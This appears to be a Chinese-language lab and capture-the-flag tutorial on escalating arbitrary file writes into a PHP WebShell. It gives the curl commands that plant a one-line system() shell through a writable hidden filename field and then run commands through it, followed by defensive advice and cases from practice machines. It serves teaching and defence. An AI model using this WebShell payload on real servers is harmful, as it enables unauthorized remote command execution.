跳到主要内容

任意文件写入到 WebShell

任意文件写入的危险点在于:只要写入目录能被 Web 服务器解析,低权限表单功能就可能直接变成远程命令执行。靶场中常见触发点包括留言板、日志写入、模板保存、文件名隐藏字段和弱后台上传。

判断条件

核心问题只有三个:

问题判断方式
文件名是否可控看表单隐藏字段、请求参数、接口 JSON
内容是否可控写入唯一字符串后访问或读取
写入目录是否可解析.php 后访问,看是否执行

表单源码检查

curl -s http://target/graffiti.php

重点看:

<input type="hidden" name="file" value="graffiti.txt">

如果隐藏字段可被客户端改写,就尝试把文件名改成 WebShell 路径。

最小 WebShell

先用极简 payload 验证,不要一开始就上复杂反弹 shell:

curl -i -X POST \
-d 'message=<?php system($_GET["cmd"]); ?>&file=shell.php' \
http://target/graffiti.php

访问验证:

curl 'http://target/shell.php?cmd=id'

如果看到 uid=...,说明写入和解析都成立。

后续枚举

curl -sG --data-urlencode 'cmd=whoami; hostname; pwd; ls -la' \
http://target/shell.php

如果命令较长,优先用 --data-urlencode,避免空格、分号、管道被 shell 或 URL 编码坑到。

常见失败原因

  • 文件写到了不可访问目录。
  • Web 服务器不解析该目录下的 PHP。
  • 应用会追加扩展名,导致实际文件名不是 shell.php
  • WAF 或过滤器拦截 <?phpsystem
  • 响应没有回显,但命令可能已经执行,需要用 DNS、HTTP 或反弹连接验证。

防御建议

  • 文件名由服务端生成,不接受客户端路径。
  • 上传或写入目录禁止脚本执行。
  • 对写入内容做类型校验,不允许混合代码和数据。
  • Web 根目录最小权限,业务进程不应能写可执行脚本路径。

来源案例

  • Matrix-Breakout: 2 Morpheusgraffiti.php 隐藏参数 file 可控,最终写入 shell.php 获得 www-data RCE。
  • sunset: solstice:File Thingie 后台可上传 Zip 并解压释放 PHP WebShell。
  • HackMyVM Type:Typecho 管理员通过主题编辑器覆盖 404.php,落地最小 PHP WebShell。
  • HackMyVM Rsscross:Node.js RCE 后使用 fs.writeFileSync 写入 /var/www/html/w.php,获得稳定 WebShell。